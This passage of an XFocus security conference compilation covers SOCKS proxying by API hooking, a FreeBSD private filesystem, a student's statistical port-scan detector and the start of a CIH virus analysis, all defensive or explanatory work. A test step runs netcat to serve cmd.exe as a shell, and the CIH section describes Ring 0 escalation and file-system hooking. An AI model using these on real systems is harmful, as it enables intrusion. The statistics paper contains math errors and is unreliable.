Page 200: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

PORT=1080 USER= PASS= 3.2、为了不对 bind()等API 函数和使用 UDP协议的 Socket 造成影响,示例程序还做了一些额外处理。在拦截的 socket()中,同时创建两个 Socket,一个用于连接到 SOCKS服务器,另一个备用,之后将他们添加到一个全局列表中。当调用 connect()时,使用连接到 SOCKS服务器的 Socket,关闭备用 Sockst;当调用 bind()、listen()、accept()时,使用备用 Socket。对于使用UDP协议的 Socket,程序中一律不做处理。 4、测试 测 试 环 境:Windows 2000,本机地址: 192.168.0.1, SOCKS 服务器地址:192.168.0.100:1080 1)运行“nc -l -p 2000 -e cmd.exe”,在 2000端口打开一个 shell 2)运行“telnet” 3)运行“sockscap telnet.exe”,将 apihook.dll注入 telnet 进程 4)在 telnet窗口中输入“open 192.168.0.1 2000”,立即获得 shell 5)通过“netstat -n”可查看到如下信息: C:\>netstat -n Active Connections Proto Local Address Foreign Address State TCP 192.168.0.1:1035 192.168.0.100:1080 ESTABLISHED TCP 192.168.0.100:1080 192.168.0.1:1035 ESTABLISHED TCP 192.168.0.100:1237 192.168.0.1:2000 ESTABLISHED TCP 192.168.0.1:2000 192.168.0.100:1237 ESTABLISHED 由此可以清楚地看出 telnet并非直接连接到自己的 2000端口,而是通过 SOCKS 代理服务器 192.168.0.100:1080间接连入的,我们已经成功地为 telnet添加了 SOCKS 代理功能。用NC等客户端程序测试结果相同。 5、需要完善的地方 5.1、示例程序中只是简单地对几个常用WINSOCK API 进行了处理,而对于UDP协议的SOCKET则完全没有处理。示例程序中预留了这部分空间,有时间的朋友可以花些功夫自己增加对UDP协议的 SOCKS 代理功能,并对其他的相关WINSOCK API 进行适当处理。 5.2、SOCKS5中支持 BIND命令,可以在 SOCKS服务器监听端口,端口由服务器随机分配并在响应报文中返回。本来示例代码中的 SocksBind()和 SocksAccept()是用于替换 API 函数 bind()和 accept()的,但由于 SOCKS服务器分配的端口号不受我们控制,所以在本文的应用中这段代码无法很好使用。若哪位朋友有较好的想法,随时欢迎来信交流。 5.3、示例中必须先运行 telnet.exe,然后根据进程名注入 DLL,此后再连接目标地址才能发挥 SOCKS 代理功能。所以对于一些无法暂停的程序便毫无用处了。SocksCap的做法是以父进程的角色加载需要注入 DLL的进程并使之暂停,待执行完相应的操作后再继续执行该子进程,有兴趣的朋友也可以试试做类似修改。

http://www.xfocus.org , http://www.xfocus.net 第 200页 共 218页

Page 201: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第十篇 FreeBSD私有文件系统的制作作者:anonymous时间:2002-11

第一节 问题的提出Linux kernel 2.4能支持几乎所有普遍存在的 File System,换句话说,基于 kernel 2.4的

Linux系统能mount上几乎所有的文件系统,并对其进行读写。对于 Hacker & Cracker来说,这真是大开方便之门;对于制作安全产品的公司来说,无异于噩梦一场。试想一下,某个公司的防火墙能被别人很轻松地mount上,尽窥其中细微,这是不是很有趣?

第二节 讨论对于以上的问题,有什么应对方案呢?──加密文件系统?这个词马上崩了出来。好,

让我们查一下当前已有的加密文件系统。经过横向、纵向和中向比较,从易用性和稳定性上讲,CFS(Cryptographic File System),TCFS(Transparent Cryptographic File System)应该算是其中比较突出的。问题解决了?那我这篇文章还写什么呀?让我们再仔细看看,CFS和 TCFS都不支持 root 分区加密,那么至少 root 分区是可以被人 mount上的,看来还是不够安全啊,假如 root 分区被mount上了,放点木马进去,就很容易获得 root控制权,那就什么事都可以干了。又在 google上查了 n圈,始终没有找到可以加密 root 分区的方法。

好了,让我们想一下,文件系统加密为什么会是这样的现状呢?因为一旦 root 分区加密,那么引导区中的 boot loader在 load 之初就得解密 root 分区以得到存放在 root 分区上的完整的 kernel,从技术实现的角度上说,这不是没有可能,而是相当困难。有什么办法防止 root 分区被别人mount上呢?最简单的办法就是采用私有文件系统,这样连加密都不需要了。好办法,修"窄轨道"不

失为自保的好办法。那位看官说了:"不会是要再写一个私有文件系统的代码吧?好麻烦啊。有没有办法不

用写程序,或者尽量少写程序来制作私有文件系统?"答案是有的,基于 FreeBSD,我们只需要改一行代码,实际上是对已有的 FreeBSD

Kernel 源代码进行一次简单的 copy/paste操作,其余的操作都是利用 FreeBSD的特性和相关工具。我们通过这种实现方法展现基于 FreeBSD的一些应用技巧。下面我们进行更深入的探讨。

第三节 探索为便于阅读和理解,我们把本文将要实现的私有文件系统称作 SuFS(Safe UFS,美其

名曰安全文件系统,其实确切地说应是私有文件系统)。 http://www.xfocus.org , http://www.xfocus.net 第 201页 共 218页

Page 202: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

下面讨论一下制作 SuFS的思路:把现有 UFS的数据结构加以改变,在不降低性能的前提下,实现"私有文件系统 SuFS"。这个想法不错,那么,描述 UFS 数据结构的文件在哪里呢?在 FreeBSD Kernel Source

里找了一圈又一圈,发现位于 /usr/src/sys/ufs/ufs/ 目录下。找到与 UFS inode 结构相关的文件inode.h,略作修改──其实就是简单地把相关数据结构中的字段调整一下顺序。比如说,把 inode.h中的 inode 结构改一下:

struct inode {struct lock i_lock; /* Inode lock. >Keep this first< */LIST_ENTRY(inode) i_hash;/* Hash chain. */struct vnode *i_vnode;/* Vnode associated with this inode. */ struct vnode *i_devvp;/* Vnode for block I/O. */u_int32_t i_flag; /* flags, see below */…………

};这就是我前面所说的,对已有的 kernel 源代码进行一次 copy/paste操作。inode是 UFS非常重要的数据结构,如果改变了这个数据结构,则相应的分区不可能

被支持UFS的标准 FreeBSD kernel mount上。换言之,即使能mount上,也无法对分区上的文件进行读写。上面对 inode 数据结构的简单修改不会导致改变后的文件系统性能下降──这是很重要的。我们把这个"变异"的UFS称作 SuFS(Safe UFS)。下面我们要做的工作就是要把 FreeBSD的 root FileSystem直接换成 SuFS,听上去很刺激,不是吗?。

让我们按照下面的思路来走一遍:(1)FreeBSD 的 boot过程是 boot loader ─> kernel ─> mount / ─> /sbin/init,也就是说,在 kernel mount / 的时候,kernel必须支持 / 的 File System。好,现在的问题

就是如何使 FreeBSD kernel支持 SuFS。( 2 ) 要 想 使 FreeBSD kernel 支 持 SuFS , 就 必 须 按 照 前 面 所 说 的

把/usr/src/sys/ufs/ufs/inode.h中的 inode 结构作一下简单修改,然后重新编译 kernel。让我们想象一下,我们有一台标准安装的 FreeBSD 机器,上面安装了 FreeBSD kernel

source,我们把/usr/src/sys/ufs/ufs/inode.h中的 inode 结构按照如上的方法稍作修改,然后编译 kernel,这样编译出来的 kernel就是支持 SuFS的,对吗?对!但是这个 kernel不再支持标准的UFS了。因为我们采用的办法是直接修改 UFS 数据结构,而不是在保留 UFS 数据结构的基础再增加对 SuFS的支持。本文的实现方法是为了最大程度地减少编程的工作量,通过熟练应用 FreeBSD的特性和工具,来达到制作私有文件系统 SuFS的目的。

好,现在支持 SuFS的 kernel有了,但是这个 kernel不再支持标准的 UFS了,我们称这个 kernel为 kernel_SuFS。然后我们需要什么呢?我们需要的是一个 SuFS 格式的分区,然后在这个 SuFS 分区上放上 kernel_SuFS,boot loader,以及一些必要的 binary,如 init, sh等,它不就可以成为能启动的基于 SuFS的的 root FileSystem了吗? 对,这个想法非常好,那么,如何创建一个基于 SuFS的分区呢?在标准的 FreeBSD中可以创建基于 SuFS的分区吗?答案是可以的!下一步讨论如何在一个标准 FreeBSD中创建一个基于 SuFS的分区。(3)创建并格式化一个分区的过程,与 fdisk, disklabel, newfs 有关,但是 fdisk和

disklabel不受 inode 结构的影响,newfs 却是要受 inode 结构的影响。我不能非常肯定,但是至少从这几个应用程序的 souce code中包含的头文件来看,fdisk和 disklabel并没有包含inode.h这个头文件。为了保险起见,最好认为这三个文件都与 inode 结构有关。下面就是要把 fdisk,disklabel,newfs 重新编译一下,让它们创建并格式化分区是 SuFS的格式。在 FreeBSD kernel source的/usr/src/sbin和 usr.sbin目录中,有 fdisk, disklabel, newfs的

http://www.xfocus.org , http://www.xfocus.net 第 202页 共 218页

Page 203: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

source code,在编 译的时候依赖于 /usr/include/ufs/ufs/inode.h 中的 inode 结 构(注意不是/usr/src/sys/ufs/ufs/inode.h,这里是与 kernel source 相关的)。所以,我们先把/usr/include/ufs/ufs/inode.h的 inode 数据结构按照上面所说的方法改成

SuFS的 inode 结构,然后编译/usr/src/sbin和 usr.sbin 两个目录下的文件,把编译后的 fdisk, disklabel,newfs 替 换 /sbin, /usr/sbin 下相应的 fdisk,disklabel,newfs,当然,要先 把 原来的fdisk,disklabel,newfs做一下备份。然后,用/stand/sysinstall来创建并格式化一个新的分区(这就是为什么要把上面的三个文件替换一下的原因,因为我觉得用 sysinstall来操作比较方便),这个新的分区就是基于 SuFS的。

好,先到这里,现在让我们盘点一下,我们已经有了支持 SuFS的 kernel_SuFS(记住,这个 kernel不支持 UFS)和一个 SuFS 格式的分区,现在这个 SuFS 分区上还是一片空白,我们需要在上面放上最基本的 root FileSystem所需的文件。kernel_SuFS和 SuFS 格式的分区这两样东西,我们都是在一个不支持 SuFS的标准安装的 FreeBSD中制作出来的。一个新的问题马上又被提了出来:如何mount这个基于 SuFS的分区呢?我们用来创建这个 SuFS 分区的是标准的 FreeBSD系统,这个标准的 FreeBSD kernel是不支持 SuFS的。如果想mount 这个 SuFS的分区,就必须先把支持 kernel_SuFS load 起来,而 kernel_SuFS要想被 load 起来,它必须先放到一个基于 SuFS的分区上──这是一个先有鸡还是先有蛋的问题。郁闷吧?请仔细理解上面的叙述,然后再进入下面的内容。

第四节 提示经过无数不眠的夜晚(太夸张了吧?),我想出一个天才的解决方案:利用 FreeBSD

CDROM FileSystem作为跳板来制作 SuFS。FreeBSD的 Release CD包括四张光盘,其中第一张是 installer,第二张就是基于 CDROM FileSystem的 Live System。

呵呵,下面讲一下思路利用 CDROM FileSystem作为跳板来制作 SuFS的思路:经过前面的一番折腾,我们已经有了一个空 白的 SuFS 分 区和支持 SuFS 的 FreeeBSD kernel(kernel_SuFS),我们把 kernel_SuFS 先加载起来,mount上 CDROM FileSystem,然后以这个 CDROM FileSystem为 root FileSystem(/分区),把 SuFS 分区 mount上,把最基本的 root FileSystem上的文件拷到 SuFS 分区上,如 init,sh等。我们下次启动时,就可以用这个 SuFS为 root FileSystem 启动了。下面描述如何制作同时支持 CDROM FileSystem和 SuFS的 BOOT Image。(1)支持 CDROM FileSystem的 kernel option文件中,下面几项必须有options ROOTDEVNAME=\"cd9660:acd0c\"options CD9660 #ISO 9660 Filesystemoptions CD9660_ROOT #CD-ROM usable as root, CD9660 required(2)把/usr/include/ufs/ufs/inode.h按照如上所述稍加改动。(3)编译 kernel,然后cp kernel /tmpgzip -9 /tmp/kernel请注意上面的 kernel是同时支持 SuFS和 CDROM FileSystem的 kernel。(4)把 FreeBSD 第二张光盘中的/floppies/boot.flp 拷到 /tmp下vnconfig /dev/vn0 /tmp/boot.flpmount /dev/vn0c /mntrm /mnt/kernel.gzcp /tmp/kernel.gz /mnt

http://www.xfocus.org , http://www.xfocus.net 第 203页 共 218页

Page 204: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

umount /dev/vn0c; vnconfig -u

好了, 现在这个 boot.flp有如下功能:(1) 可以以 FreeBSD 第二张光盘为 root FileSystem 进行启动(2) 支持 SuFS(不支持UFS)我们用这个 boot.flp 作为 FreeBSD Release 第二张光盘(LiveSystem CD)的 BOOT

Image 进行启动,mount上 SuFS的分区,把 init, sh等基本的 root FileSystem所需要文件拷到 SuFS 分区上。我们有了一个可以用作 root FileSystem 的 SuFS 分区。这样就可以用Kernel_SuFS来引导 SuFS了。鸡和蛋的问题解决了。我们可以把这件事情做得更漂亮:制作一张基于支持 SuFS的 FreeBSD Installer CD,

用这张 CD安装 FreeBSD,生成的 FreeBSD系统就是以 SuFS为 root FileSystem的。这张 CD可以用来替换 FreeBSD的 Installer CD。综上可见,Open Source OS下很多有趣而又有难度的事情,可以通过编程开发来解决,

也可以通过熟练组合应用技巧来解决,对于大多数 FreeBSD爱好者来说,后者也许更为普遍。

http://www.xfocus.org , http://www.xfocus.net 第 204页 共 218页

Page 205: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第十一篇 智能化安全策略探索--对于网络扫描防御的实现作者:上海市控江中学 马瑞辅导老师:王建德时间:2002-12

第一节 简介本文主要讨论网络防御系统安全策略的智能化更新。从 IP的访问次数入手,引入正态

分布,在此基础上制定合理的安全策略。文中还讨论了哈希算法查找,实现快速查找和储存访问中的 IP,通过“扫描防御守护进程(Scan Defense Daemon)” 发现夹杂在正常访问者中访问者的攻击行为,并以网页的形式报告管理员。

关键词:安全策略 智能化 扫描防御

第二节 概念与研究目的非军事化区中服务器与 Internet的通信安全,主要依赖网络防御系统保障的。 而网络防

御系统的安全策略,是安装时管理员人工完成的。但实际情况瞬息万变。人工的设置是很难有效确保网络安全。

如何对访问中的 IP地址进行检控,准确地判断出它是否正在实施攻击,迅速作出合理反映,成了很多国外公司开始关注的领域。譬如 美国 Psionic公司开发的 PortSentry商业性质产品(软件代码可以从这里获得:

www.psionic.com/abacus/portsentry)。它通过对每个访问者在单位时间内(DELAY)内的连接次数(COUNT)判断,检测出对服务器的扫描攻击。(所谓扫描攻击,就是指攻击者向目标服务器的各个端口发出大量的请求连接包。如果服务器某端口存在服务就会回应,从而使得攻击者窃取目标服务器的信息的一种策略) 这种扫描攻击的特征是短时间发出大量的信息,为此 PortSentry算法设定了一个MAX _COUNT 值为正常访问者的连接次数,然后检控所有访问者 IP,并记录下他们的连接次数(COUNT)。一旦某个 IP的连接次数 COUNT >

MAX_COUNT, 它就判断这个 IP正在进行扫描攻击,从而记录并防御。 /usr/local/psionic/portsentry/portsentry.conf (配置文件)

gblScanDetectCount 10

PortSentry.c (程序)

……if (gblScanDetectCount < IpBuf[GoOne].count)

http://www.xfocus.org , http://www.xfocus.net 第 205页 共 218页

Page 206: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

{……}

else

{

……}

概括地讲,PortSentry是通过人工配置一个标准“MAX _COUNT”后,检测每个 IP是否符合这个标准。问题是,这个标准是否能体现出网络防御系统“高效、易用、安全”的主旨呢?我不敢苟同。为此我提出了“扫描防御守护进程(Scan Defense Daemon 简称: SDD算法)”。(程序外附)

第三节 对于 SDD算法的探索

3.1 智能化——安全策略制定的算法我们先进行了一个试验。

测试对象:服务器域名 : java-users.netCPU 型号 : Pentium II 400 MHz缓冲 :512 KB内存 :128 MBytes RAM网卡 :100 Mb/s fast Ethernet Adapter(Intel tulip based(2114X) )IP : 210.221.154.120 所提供服务 : www, ftp, telnet, printer, cvspserver, imap2, pop-3,sunrpc,oracle.实验过程:对与 java-users.net 保持通信每个 IP在 15 分钟内的连接次数进行统计,并描绘出频率

直方图。表 SDD-normal-001 15分钟内与 java-users.net 通信的 IP连接次数

IP 序号 连接次数 IP 序号 连接次数 IP 序号 连接次数 IP 序号 连接次数1 26 20 14 39 36 58 92 13 21 16 40 21 59 243 7 22 18 41 33 60 174 18 23 19 42 26 61 245 16 24 23 43 24 62 166 19 25 13 44 21 63 277 28 26 16 45 19 64 248 17 27 17 46 28 65 11

http://www.xfocus.org , http://www.xfocus.net 第 206页 共 218页

Page 207: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

9 18 28 6 47 24 66 2210 12 29 11 48 29 67 2311 4 30 18 49 21 68 1112 13 31 17 50 18 69 2213 23 32 23 51 31 70 2614 21 33 18 52 21 71 1615 3 34 20 53 28 72 1416 23 35 18 54 1 73 1617 8 36 21 55 29 74 1518 18 37 21 56 4019 18 38 24 57 18

根据统计,绘制出频率直方图。(图 SDD-normal-001)

实验结果:我们不难发现,它的形状基本符合“中间高,两边低,左右近似对称。”随着试验次数不断增加,对称情况越来越好。也就是说,正常用户的通信次数集中在一个范围内,极大值和极小值占总体的很小比例。那么我们可用正态概率密度曲线 p(x)表示来描绘这个曲线。并认为用户的通信次数是符合正态分布的。

E(X) =μ, Var(X)=σ^2, 即 σ为平均差,μ为数学期望。实验完成, 我们发现,如果给 java-users.net 配置 PortSentry的标准,如果为原来的标准 10,那么连续进行的 10 次以上访问中,有 5 次被断定为攻击行为,显然这种估量是缺乏根据的。按照实际情况,应这样指定配置文件:gblScanDetectCount 13

通过这个试验,我的设想已经初见端倪:先根据收集到的网络信息,计算数学期望与平均 http://www.xfocus.org , http://www.xfocus.net 第 207页 共 218页

Page 208: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

差,建立正态分布函数,再利用正态分布的逆运算,计算出极不正常的大值。(这个值出现概率为 1%)把这个值定为我们的扫描防御标准。这项工作往复进行,并定时均衡,确保统计的正确性。与此同时,程序监控每个访问者的 IP地址,计算出他们的连接次数,和标准进行对比,以此确定访问者是否正在实施网络攻击。

在具体实施前,先来看一下计算问题。在我们的研究里, χ为需要计算的极大值,把它代入N(μ, σ^2),应该得到我们指定的 p(x) = 0.01。 直接求 N(μ, σ^2),并不是很方便,所以利用标准正态分布N(0, 1) 方差是 0,数学期望是 1。那么函数就为

而 p(x)与 φ(X)的关系应该是:数学期望 E(x) = 1/σE(X)-μ/ σ=μ/ σ-μ/ σ=0方差为 Var(x)= 1/σ*Var(X)= σ2/σ2=1.

所以可以推出

我们查表得出,当 φ(X)=0.01时, X=2.33.。拿我们刚才的试验。方差 为 2, 数学期望为 8。x= 8+2.23*2=12.46 ,即当 x为 13时,符合指定的 p(x) = 0.01,即所有访问次数中,MAX _COUNT的概率为 1%。

在 SDD算法中,MAX _COUNT的值是动态变化的,其计算过程如下,初始时先按照默认值执行,以后,每隔 3 分钟取样 10个样本。去掉最高值与最低值,得出数学期望与方差。利用前面推出的计算公式 x=Xσ+μ得出新标准.这一计算过程,充分利用频率的稳定性,动态均衡标准值,使得标准趋于合理。

3.2 高效化——储存 IP的哈希查找由于同时监控所有访问者,所以当新的访问请求来临时,我们不得不在已有的 IP中查找。

如果找到它曾被记录过,则比较它的 COUNT 与 Max_Count的大小,如果没有找到,则把它插入表中。PortSentry的做法是建立数组结构,然后利用 Binary 查找。虽然静态数组的查找比较便捷,但存储空间太小,很难容纳大量的 IP地址,我采用的方法是

1. 改用动态链表储存,扩大用户空间。2. 采用哈希查找,提高查找效率。……int hashfunc(struct in_addr addr){ unsigned int value; int hash; value = addr.s_addr; hash = 0; do { hash ^= value; } while ((value >>= HASH_LOG)); return hash & (HASH_SIZE - 1); }

http://www.xfocus.org , http://www.xfocus.net 第 208页 共 218页

Page 209: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

……

第四节 测试与比较

4.1 测试正确率标准网络攻击与网络安全防御系统,永远是矛和盾的关系,很难做到防御的“万无一失”。

我们只有努力向更高效、更有效的方面接近。这里我们不妨将 SDD 与 PortSentry做了比较测试,比较两个算法的优劣:

测试之前,先要明确一下衡量好坏的标准。因为检测过程中有可能把正常访问误作扫描攻击,也有可能把扫描攻击误作正常访问。譬如,被记录下来的攻击次数占总访问次数的 0.005,而这其中真正为攻击的占 95%,而被错当成正常通信没被记录的攻击,占正常通信的 0.05,那么我们的防御系统的正确率为多大呢?于是,我利用了贝叶斯公式作为衡量正确率的标准。

作为检测标准,我们可以这样应用 P(Ai) P(B|Ai)

P(Ai|B) = —————————————————— P(Ai) P(B|Ai) + P (Ij) P(B|Ij)

Ai是没被记录的攻击。B是被错误记录的正常行为。Ij是所有正常通信次数。

4.2 测试与比较测试对象:java-users.net测试过程: 同时在 java-users.net上运行 SDD 与 PortSentry,并对 java-users.net 实施扫

描攻击,分别在第 1 分钟,第 4 分钟,第 7 分钟对两个程序进行结果统计。第一分钟:

SDD:MAX_Count 为默认值 10

http://www.xfocus.org , http://www.xfocus.net 第 209页 共 218页

Page 210: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

一共扫描 7 次错误记录 3 次漏过记录 1 次 (2.5 * 10^-4) * (2.5^-10) P(X)= ------------------------------------------------------ = 0.4718 (2.5 * 10^-4) * (2.5^-10) + (9.9975 * 10^-1) * (7.0 * 10^-5)

PortSentry:MAX_Count 为默认值 10

一共扫描 7 次错误记录 3 次漏过记录 1 次 (2.5 * 10^-4) * (2.5^-10) P(X)= ------------------------------------------------------- = 0.4718 (2.5 * 10^-4) * (2.5^-10) + (9.9975 * 10^-1) * (7.0 * 10^-5)

第四分钟SDD:Max_Count 第一次调节 17

一共扫描 6 次错误记录 2 次漏过记录 2 次 (2.5 * 10^-4) * (5.0^-10) P(X) = ------------------------------------------------------- = 0.6757(2.5 * 10^-4) * (5.0^-10) + (9.9975 * 10^-1) * (6.0 * 10^-5)

PortSentry:Max_Count 为默认值 10

http://www.xfocus.org , http://www.xfocus.net 第 210页 共 218页

Page 211: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

一共扫描 6 次错误记录 3 次漏过记录 2 次 (2.5 * 10^-4) * (2.5^-10) P(X)=------------------------------------------------------- = 0.5556 (2.5 * 10^-4) * (2.5^-10) + (9.9975 * 10^-1) * (5.0 * 10^-5)

第 7 分钟SDD:Max_Count 第二次调节为 14

一共扫描 5 次错误记录 1 次漏过记录 1 次 (2.5 * 10^-4) * (5.0^-10) P(X)------------------------------------------------------- = 0.8065 (2.5 * 10^-4) * (5.0^-10) + (9.9975 * 10^-1) * (3.0 * 10^-5)

PortSentry: Max_Count为默认值 10

一共扫描 5 次错误记录 3 次漏过记录 1 次 (2.5 * 10^-4) * (2.5^-10) P(X)= ----------------------------------------------------- = 0.5556 (2.5 * 10^-4) * (2.5^-10) + (9.9975 * 10^-1) * (5.0 * 10^-5)

将测试结果绘成图(SDD-result-001),我们很容易看出 PortSentry由于安全策略始终静止,所以对扫描防御始终保持在 50%的正确率左右,但 SDD由于按照实际网络流量统计, http://www.xfocus.org , http://www.xfocus.net 第 211页 共 218页

Page 212: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

随着时间的增长,正确率在逐步的提高。(SDD-result-001)

第五节 结论

5.1 总结一个好的安全产品,一半来自于对攻击特征的把握,一半来自于有效算法的支持。对

于扫描防御来说,PortSentry 把握住了 “扫描是 IP短时间内向各个端口发送大量数据包”这一特征,但缺乏有效的算法,导致正确率仅为 50%左右(测试结果)。SDD利用数学统计学作了改进,纠正了 PortSentry的偏差,有效完成了扫描防御的功能。通过这一时间的研究,我对网络安全进一步的认识。并深切感受的网络防御的重要性、

潜在市场和发展前景。但令人遗憾的是,目前国内关注并不多,大多从事网络安全的企业都依赖国外核心技术,仅做一些外围工作。所以我的研究工作,从某种角度上讲,正是体现出我对国内网络安全业的一种忧患意识。

5.2 前景扫描防御只是我研究的算法具体实现的一个方面,对于 IP的监测与统计。不仅可以运

用在网络安全方面,而且还可计算有关的网络流量。比如说防火墙的动态均衡。如果连接防火墙的一个地址是一台代理服务器,它对防火

墙的通信量,就等于所有使用代理服务器用户通信量之和,防火墙如果仍使用均分带宽策略,那么所有使用代理服务器的用户再均分下来的带宽就非常的少。 而有的直接连接到防火墙的用户,即使通信量非常小,但也可分得和代理服务器同样多的带宽。网络资源被严

http://www.xfocus.org , http://www.xfocus.net 第 212页 共 218页

Page 213: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

重浪费。 使用本文所研究的算法,便可以获得一份详密的 IP通信流量表,按照这份表,我们可

以给那些大通信量的地址多分配带宽,给那些很少连接的用户减少带宽,最大限度地利用网络资源,优化服务器的效率,减少管理员的工作量。

总的来说,在网络管理中,按照流量实际情况及时改变配置值,需要在统计与分析的数学支撑。

参考文献Gray R.Wright W.Richard Stevens “TCP/IP Illustrated Volume 2: The Implementation”Fyodor [email protected] “The Art of Port Scanning” Phrack Magazine Volume 7, Issue 51

September 01, 1997, article 11 of 17 http://www.phrack.org/show.php?p=51&a=11AXELSON, Stefan (1999) “The Base-Rate Fallacy and its Implications for the Difficulty of

Intrusion Detection", www.ce.chalmers.se/staff/sax/difficulty.ps魏振军《概率统计初步》上海教育出版社严蔚敏 吴伟民 《数据结构》清华大学出版社任永臻《Linux C 程序员指南》国防工业出版社《东方龙马防火墙技术白皮书》Version1.2

感谢这里我想感谢的第一位,是我的母亲,在我陷入困境的时候,给我最大的理解、支持

与保护。没有她,我是无论如何也完成不了 SDD的。还有父亲,他在物质上给我极大支持。王建德老师在论文上,给了我非常大的帮助。他

几乎是完全把论文帮我规范化了一遍。#UNIX的管理员 Chaos,非常地道的GNU 爱好者,每当我程序上碰到什么困难,他总

是不厌其烦的寻找问题原因。以及 Mustang ,感谢以前为 SDD做的Windows Client,虽然最后没有完成。谢谢所有一直关心我的人。

http://www.xfocus.org , http://www.xfocus.net 第 213页 共 218页

Page 214: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第十二篇 计算机病毒特征码提取分析作者:安天实验室系统程序员 李柏松时间:2003-1

说明样本文件(来自ASTS#6 样本库):Win95.cih.1013.ex$ 4,608 字节 [1996-10-18 4:00]

第一节 特点 病毒绕过了微软提供的应用程序界面,绕过了ActiveX、C++甚至 C,使用汇编,利用VxD(虚拟设备驱动程序)接口编程,直接杀入Windows内核。它没有改变宿主文件的大小,而是采用了一种新的文件感染机制即碎洞攻击(fragmented cavity attack),将病毒化整为零,拆分成若干块,插入宿主文件中去;最引人注目的是它利用目前许多BIOS芯片开放了可重写的特性,向计算机主板的 BIOS端口写入乱码,开创了病毒直接进攻计算机主板芯片的先例。可以说 CIH病毒提供了一种全新的病毒程序方式和病毒发展方向。

第二节 CIH病毒的初始化1.用 SIDT 指令取得 IDT base address(中断描述符表基地址),然后把 IDT的 INT 3 的入

口地址改为指向 CIH自己的 INT3 程序入口部分; 2.执行 INT 3 指令,进入 CIH自身的 INT 3入口程序,这样,CIH病毒就可以获得

Windows最高级别的权限(Ring 0级),可在Windows的内核执行各种操作(如终止系统运行,直接对内存读写、截获各种中断、控制 I/O端口等,这些操作在应用程序层 Ring 3级是受到严格

限制的)。病毒在这段程序中首先检查调试寄存器 DR0的值是否为 0,用以判断先前是否有 CIH病毒已经驻留。

3.如果 DR0的值不为 0,则表示 CIH病毒程式已驻留,病毒程序恢复原先的 INT 3入口,然后正常退出 INT3,跳到过程 9;

4.如果 DR0 值为 0,则 CIH病毒将尝试进行驻留。首先将当前 EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用 INT 20中断,使用 VxD call Page Allocate系统调用,请求系统分配 2个 PAGE大小的Windows系统内存(system memory),Windows系统内存地址范围为 C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程序想长期驻留在内存中,则必须申请到此区段内的内存。

5.如果内存申请成功,则从被感染文件中将原先分成多块的病毒代码收集起来,并进行组合后放到申请到的内存空间中;

http://www.xfocus.org , http://www.xfocus.net 第 214页 共 218页

Page 215: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

6.再次调用 INT 3中断进入 CIH病毒体的 INT 3入口程序,调用 INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,在Windows内核中文件系统处理函数中挂接钩子,以截取文件调用的操作,这样一旦系统出现要求开启文件的调用,则 CIH病毒的传染部分程序就会在第一时间截获此文件;

7.将同时获取的Windows默认的 IFSMgr_Ring0_FileIO(核心文件输入/输出)服务程序的入口地址保留在DR0寄存器中,以便于 CIH病毒调用;

